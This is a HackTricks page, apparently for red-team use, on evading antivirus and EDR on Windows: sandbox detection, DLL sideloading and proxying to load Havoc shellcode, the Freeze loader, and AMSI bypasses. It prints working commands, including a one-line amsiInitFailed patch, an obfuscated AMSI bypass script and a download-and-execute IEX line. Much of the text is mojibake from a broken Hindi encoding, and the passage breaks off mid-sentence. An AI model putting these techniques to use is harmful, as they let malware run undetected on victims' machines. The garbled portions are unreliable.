hacktricks/windows-hardening/av-bypass.md

52 KiB

Antivirus (AV) Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

If you are interested in hacking career and hack the unhackable - we are hiring! (рдлреНрд▓реВрдПрдВрдЯ рдкреЛрд▓рд┐рд╢ рд▓рд┐рдЦрд┐рдд рдФрд░ рдореМрдЦрд┐рдХ рдЖрд╡рд╢реНрдпрдХ).

{% embed url="https://www.stmcyber.com/careers" %}

This page was written by @m2rc_p!

AV Evasion Methodology

Currently, AVs use different methods for checking if a file is malicious or not, static detection, dynamic analysis, and for the more advanced EDRs, behavioural analysis.

Static detection

Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:

  • Encryption

If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.

  • Obfuscation

Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate.

  • Custom tooling

If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.

{% hint style="info" %} A good way for checking against Windows Defender static detection is ThreatCheck. It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary. {% endhint %}

I highly recommend you check out this YouTube playlist about practical AV Evasion.

Dynamic analysis

Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.

  • Sleep before execution Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented.
  • Checking machine's resources Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox.
  • Machine-specific checks If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit.

It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit.

source: https://youtu.be/StSLxFbVz0M?t=1439

Some other really good tips from @mgeeky for going against Sandboxes

Red Team VX Discord #malware-dev channel

As we've said before in this post, public tools will eventually get detected, so, you should ask yourself something:

For example, if you want to dump LSASS, рдХреНрдпрд╛ рдЖрдкрдХреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ mimikatz рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ? рдпрд╛ рдХреНрдпрд╛ рдЖрдк рдПрдХ рдЕрд▓рдЧ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдХрдо рдЬреНрдЮрд╛рдд рд╣реИ рдФрд░ LSASS рдХреЛ рднреА рдбрдВрдк рдХрд░рддрд╛ рд╣реИред

The right answer is probably the latter. Taking mimikatz as an example, it's probably one of, if not the most flagged piece of malware by AVs and EDRs, while the project itself is super cool, it's also a nightmare to work with it to get around AVs, so just look for alternatives for what you're trying to achieve.

{% hint style="info" %} When modifying your payloads for evasion, make sure to turn off automatic sample submission in defender, and please, seriously, DO NOT UPLOAD TO VIRUSTOTAL if your goal is achieving evasion in the long run. If you want to check if your payload gets detected by a particular AV, install it on a VM, try to turn off the automatic sample submission, and test it there until you're satisfied with the result. {% endhint %}

EXEs vs DLLs

Whenever it's possible, always prioritize using DLLs for evasion, in my experience, DLL files are usually way less detected and analyzed, so it's a very simple trick to use in order to avoid detection in some cases (if your payload has some way of running as a DLL of course).

As we can see in this image, a DLL Payload from Havoc has a detection rate of 4/26 in antiscan.me, while the EXE payload has a 7/26 detection rate.

antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL

Now we'll show some tricks you can use with DLL files to be much more stealthier.

DLL Sideloading & Proxying

DLL Sideloading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.

You can check for programs susceptible to DLL Sideloading using Siofra and the following powershell script:

{% code overflow="wrap" %}

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

{% endcode %}

рдпрд╣ рдХрдорд╛рдВрдб "C:\Program Files\" рдХреЗ рдЕрдВрджрд░ DLL рд╣рд╛рдЗрдЬреИрдХрд┐рдВрдЧ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреА рд╕реВрдЪреА рдФрд░ рд╡реЗ DLL рдлрд╝рд╛рдЗрд▓реЗрдВ рдЬреЛ рд╡реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ, рдЖрдЙрдЯрдкреБрдЯ рдХрд░реЗрдЧрд╛ред

рдореИрдВ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрд╢рдВрд╕рд╛ рдХрд░рддрд╛ рд╣реВрдБ рдХрд┐ рдЖрдк DLL рд╣рд╛рдЗрдЬреИрдХ рдХрд░рдиреЗ рдпреЛрдЧреНрдп/рд╕рд╛рдЗрдбрд▓реЛрдб рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХрд╛ рд╕реНрд╡рдпрдВ рдЕрдиреНрд╡реЗрд╖рдг рдХрд░реЗрдВ, рдпрд╣ рддрдХрдиреАрдХ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХреА рдЧрдИ рддреЛ рдХрд╛рдлреА рдЫрд┐рдкреА рд╣реБрдИ рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрдк рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЬреНрдЮрд╛рдд DLL рд╕рд╛рдЗрдбрд▓реЛрдб рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ рдкрдХрдбрд╝реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдмрд╕ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг DLL рдХреЛ рдЙрд╕ рдирд╛рдо рдХреЗ рд╕рд╛рде рд░рдЦрдиреЗ рд╕реЗ рдЬреЛ рдПрдХ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЙрдореНрдореАрдж рдХрд░рддрд╛ рд╣реИ, рдЖрдкрдХрд╛ рдкреЗрд▓реЛрдб рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЙрд╕ DLL рдХреЗ рдЕрдВрджрд░ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХрд╛рд░реНрдпреЛрдВ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рдареАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдПрдХ рдФрд░ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ рдЬрд┐рд╕реЗ DLL рдкреНрд░реЙрдХреНрд╕реАрдВрдЧ/рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред

DLL рдкреНрд░реЙрдХреНрд╕реАрдВрдЧ рдкреНрд░реЛрдЧреНрд░рд╛рдо рджреНрд╡рд╛рд░рд╛ рдкреНрд░реЙрдХреНрд╕реА (рдФрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг) DLL рд╕реЗ рдореВрд▓ DLL рдХреЛ рдХрд┐рдП рдЧрдП рдХреЙрд▓ рдХреЛ рдЖрдЧреЗ рдмрдврд╝рд╛рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реБрдП рдЖрдкрдХреЗ рдкреЗрд▓реЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрддрд╛ рд╣реИред

рдореИрдВ @flangvik рд╕реЗ SharpDLLProxy рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реВрдБред

рдпреЗ рд╡реЗ рдЪрд░рдг рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдореИрдВрдиреЗ рдкрд╛рд▓рди рдХрд┐рдпрд╛:

{% code overflow="wrap" %}

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

{% endcode %}

рдЕрдВрддрд┐рдо рдХрдорд╛рдВрдб рд╣рдореЗрдВ 2 рдлрд╝рд╛рдЗрд▓реЗрдВ рджреЗрдЧреА: рдПрдХ DLL рд╕реНрд░реЛрдд рдХреЛрдб рдЯреЗрдореНрдкрд▓реЗрдЯ, рдФрд░ рдореВрд▓ рдирд╛рдорд┐рдд DLLред

{% code overflow="wrap" %}

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

{% endcode %}

рдпреЗ рдкрд░рд┐рдгрд╛рдо рд╣реИрдВ:

рд╣рдорд╛рд░рд╛ рд╢реЗрд▓рдХреЛрдб (рдЬрд┐рд╕реЗ SGN рдХреЗ рд╕рд╛рде рдПрдиреНрдХреЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛) рдФрд░ рдкреНрд░реЙрдХреНрд╕реА DLL рджреЛрдиреЛрдВ рдХрд╛ antiscan.me рдореЗрдВ 0/26 рдбрд┐рдЯреЗрдХреНрд╢рди рджрд░ рд╣реИ! рдореИрдВ рдЗрд╕реЗ рдПрдХ рд╕рдлрд▓рддрд╛ рдХрд╣реВрдВрдЧрд╛ред

{% hint style="info" %} рдореИрдВ рдЧрдВрднреАрд░рддрд╛ рд╕реЗ рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХрд░рддрд╛ рд╣реВрдБ рдХрд┐ рдЖрдк S3cur3Th1sSh1t's twitch VOD рдХреЛ DLL Sideloading рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рджреЗрдЦреЗрдВ рдФрд░ рд╕рд╛рде рд╣реА ippsec рдХрд╛ рд╡реАрдбрд┐рдпреЛ рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ рдЖрдк рдЬреЛ рд╣рдордиреЗ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЪрд░реНрдЪрд╛ рдХреА рд╣реИ, рдЙрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЕрдзрд┐рдХ рдЬрд╛рди рд╕рдХреЗрдВред {% endhint %}

Freeze

Freeze рдПрдХ рдкреЗрд▓реЛрдб рдЯреВрд▓рдХрд┐рдЯ рд╣реИ рдЬреЛ рдирд┐рд▓рдВрдмрд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ, рд╕реАрдзреЗ syscalls, рдФрд░ рд╡реИрдХрд▓реНрдкрд┐рдХ рдирд┐рд╖реНрдкрд╛рджрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ EDRs рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ

рдЖрдк Freeze рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдкрдиреЗ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдЫрд┐рдкреЗ рд╣реБрдП рддрд░реАрдХреЗ рд╕реЗ рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

{% hint style="info" %} рдирд┐рд╖реНрдХреНрд░рдордг рдХреЗрд╡рд▓ рдПрдХ рдмрд┐рд▓реНрд▓реА рдФрд░ рдЪреВрд╣рд╛ рдЦреЗрд▓ рд╣реИ, рдЬреЛ рдЖрдЬ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рд╡рд╣ рдХрд▓ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ рдЙрдкрдХрд░рдг рдкрд░ рднрд░реЛрд╕рд╛ рди рдХрд░реЗрдВ, рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ, рддреЛ рдХрдИ рдирд┐рд╖реНрдХреНрд░рдордг рддрдХрдиреАрдХреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред {% endhint %}

AMSI (рдПрдВрдЯреА-рдореИрд▓рд╡реЗрдпрд░ рд╕реНрдХреИрди рдЗрдВрдЯрд░рдлреЗрд╕)

AMSI "рдлрд╛рдЗрд▓рд▓реЗрд╕ рдореИрд▓рд╡реЗрдпрд░" рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ, AV рдХреЗрд╡рд▓ рдбрд┐рд╕реНрдХ рдкрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рддрд░рд╣ рд╕реАрдзреЗ рдореЗрдореЛрд░реА рдореЗрдВ рдкреЗрд▓реЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рдереЗ, рддреЛ AV рдЗрд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рджреГрд╢реНрдпрддрд╛ рдирд╣реАрдВ рдереАред

AMSI рд╕реБрд╡рд┐рдзрд╛ Windows рдХреЗ рдЗрди рдШрдЯрдХреЛрдВ рдореЗрдВ рдПрдХреАрдХреГрдд рд╣реИред

  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддрд╛ рдирд┐рдпрдВрддреНрд░рдг, рдпрд╛ UAC (EXE, COM, MSI, рдпрд╛ ActiveX рд╕реНрдерд╛рдкрдирд╛ рдХрд╛ рдЙрдиреНрдирдпрди)
  • PowerShell (рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рдЙрдкрдпреЛрдЧ, рдФрд░ рдЧрддрд┐рд╢реАрд▓ рдХреЛрдб рдореВрд▓реНрдпрд╛рдВрдХрди)
  • Windows рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реЛрд╕реНрдЯ (wscript.exe рдФрд░ cscript.exe)
  • JavaScript рдФрд░ VBScript
  • Office VBA рдореИрдХреНрд░реЛрдЬрд╝

рдпрд╣ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рд╕рдорд╛рдзрд╛рдиреЛрдВ рдХреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдХ рд░реВрдк рдореЗрдВ рдЙрдЬрд╛рдЧрд░ рдХрд░рдХреЗ рдЬреЛ рди рддреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╣реИ рдФрд░ рди рд╣реА рдЕрд╕реНрдкрд╖реНрдЯред

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') рдЪрд▓рд╛рдиреЗ рдкрд░ Windows Defender рдкрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрд▓рд░реНрдЯ рдЙрддреНрдкрдиреНрди рд╣реЛрдЧрд╛ред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ amsi: рдХреЛ рдкрд╣рд▓реЗ рдЬреЛрдбрд╝рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЙрд╕ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХрд╛ рдкрде рдЬреЛрдбрд╝рддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдИ рдЧрдИ, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, powershell.exe

рд╣рдордиреЗ рдбрд┐рд╕реНрдХ рдкрд░ рдХреЛрдИ рдлрд╝рд╛рдЗрд▓ рдирд╣реАрдВ рдЧрд┐рд░рд╛рдИ, рд▓реЗрдХрд┐рди рдлрд┐рд░ рднреА AMSI рдХреЗ рдХрд╛рд░рдг рдореЗрдореЛрд░реА рдореЗрдВ рдкрдХрдбрд╝реЗ рдЧрдПред

AMSI рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рдХреБрдЫ рддрд░реАрдХреЗ рд╣реИрдВ:

  • рдЕрд╕реНрдкрд╖реНрдЯрддрд╛

рдЪреВрдВрдХрд┐ AMSI рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╕реНрдерд┐рд░ рдкрд╣рдЪрд╛рди рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП, рдЖрдк рдЬреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ рдкрд╣рдЪрд╛рди рд╕реЗ рдмрдЪрдиреЗ рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рд╣рд╛рд▓рд╛рдВрдХрд┐, AMSI рдХреЗ рдкрд╛рд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИ, рднрд▓реЗ рд╣реА рдЗрд╕рдореЗрдВ рдХрдИ рдкрд░рддреЗрдВ рд╣реЛрдВ, рдЗрд╕рд▓рд┐рдП рдЕрд╕реНрдкрд╖реНрдЯрддрд╛ рдПрдХ рдмреБрд░рд╛ рд╡рд┐рдХрд▓реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдпрд╣ рдЗрд╕ рдмрд╛рдд рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЗрд╕реЗ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЗрд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рдЗрддрдирд╛ рд╕реАрдзрд╛ рдирд╣реАрдВ рдмрдирд╛рддрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдХрднреА-рдХрднреА, рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдХреБрдЫ рдЪрд░ рдХреЗ рдирд╛рдо рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдФрд░ рдЖрдк рдареАрдХ рд╣реЛ рдЬрд╛рдПрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЗрд╕ рдмрд╛рдд рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ рдХрд┐рддрдирд╛ рдЭрдВрдбрд╛ рд▓рдЧрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред

  • AMSI рдмрд╛рдпрдкрд╛рд╕

рдЪреВрдВрдХрд┐ AMSI рдХреЛ PowerShell (рд╕рд╛рде рд╣реА cscript.exe, wscript.exe, рдЖрджрд┐) рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдХ DLL рд▓реЛрдб рдХрд░рдХреЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рднрд▓реЗ рд╣реА рдПрдХ рдЕрдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬреНрдб рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдПред AMSI рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдореЗрдВ рдЗрд╕ рджреЛрд╖ рдХреЗ рдХрд╛рд░рдг, рд╢реЛрдзрдХрд░реНрддрд╛рдУрдВ рдиреЗ AMSI рд╕реНрдХреИрдирд┐рдВрдЧ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЗ рдЦреЛрдЬреЗ рд╣реИрдВред

рдПрдХ рддреНрд░реБрдЯрд┐ рдХреЛ рдордЬрдмреВрд░ рдХрд░рдирд╛

AMSI рдкреНрд░рд╛рд░рдВрднрд┐рдХрдХрд░рдг рдХреЛ рд╡рд┐рдлрд▓ (amsiInitFailed) рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рдиреЗ рд╕реЗ рд╡рд░реНрддрдорд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╕реНрдХреИрди рд╢реБрд░реВ рдирд╣реАрдВ рд╣реЛрдЧрд╛ред рдореВрд▓ рд░реВрдк рд╕реЗ, рдЗрд╕реЗ Matt Graeber рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдХрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ Microsoft рдиреЗ рд╡реНрдпрд╛рдкрдХ рдЙрдкрдпреЛрдЧ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рд╣реИред

{% code overflow="wrap" %}

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

{% endcode %}

рдпрд╣ рд╕рдм рдПрдХ рдкрд╛рд╡рд░рд╢реЗрд▓ рдХреЛрдб рдХреА рдПрдХ рдкрдВрдХреНрддрд┐ рдереА рдЬрд┐рд╕рдиреЗ рд╡рд░реНрддрдорд╛рди рдкрд╛рд╡рд░рд╢реЗрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП AMSI рдХреЛ рдЕрдиреБрдкрдпреЛрдЧреА рдмрдирд╛ рджрд┐рдпрд╛ред рдЗрд╕ рдкрдВрдХреНрддрд┐ рдХреЛ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ AMSI рджреНрд╡рд╛рд░рд╛ рдЪрд┐рд╣реНрдирд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╕рдВрд╢реЛрдзрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдпрд╣рд╛рдВ рдПрдХ рд╕рдВрд╢реЛрдзрд┐рдд AMSI рдмрд╛рдпрдкрд╛рд╕ рд╣реИ рдЬреЛ рдореИрдВрдиреЗ рдЗрд╕ Github Gist рд╕реЗ рд▓рд┐рдпрд╛ рд╣реИред

Try{#Ams1 bypass technic n┬║ 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M├В┬гn├В┬гg' + 'e@+nt.Auto@' + '├В┬гtion.A' -join ''
$fdx = '@ms' + '├В┬гIn├В┬г' + 'tF@├В┬г' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('├В┬г','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('├В┬г','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.

Memory Patching

рдпрд╣ рддрдХрдиреАрдХ рдореВрд▓ рд░реВрдк рд╕реЗ @RastaMouse рджреНрд╡рд╛рд░рд╛ рдЦреЛрдЬреА рдЧрдИ рдереА рдФрд░ рдЗрд╕рдореЗрдВ amsi.dll рдореЗрдВ "AmsiScanBuffer" рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ (рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдЗрдирдкреБрдЯ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ) рдФрд░ рдЗрд╕реЗ E_INVALIDARG рдХреЗ рд▓рд┐рдП рдХреЛрдб рд▓реМрдЯрд╛рдиреЗ рдХреЗ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд╕рд╛рде рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЗрд╕ рддрд░рд╣, рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕реНрдХреИрди рдХрд╛ рдкрд░рд┐рдгрд╛рдо 0 рд▓реМрдЯреЗрдЧрд╛, рдЬрд┐рд╕реЗ рдПрдХ рд╕рд╛рдл рдкрд░рд┐рдгрд╛рдо рдХреЗ рд░реВрдк 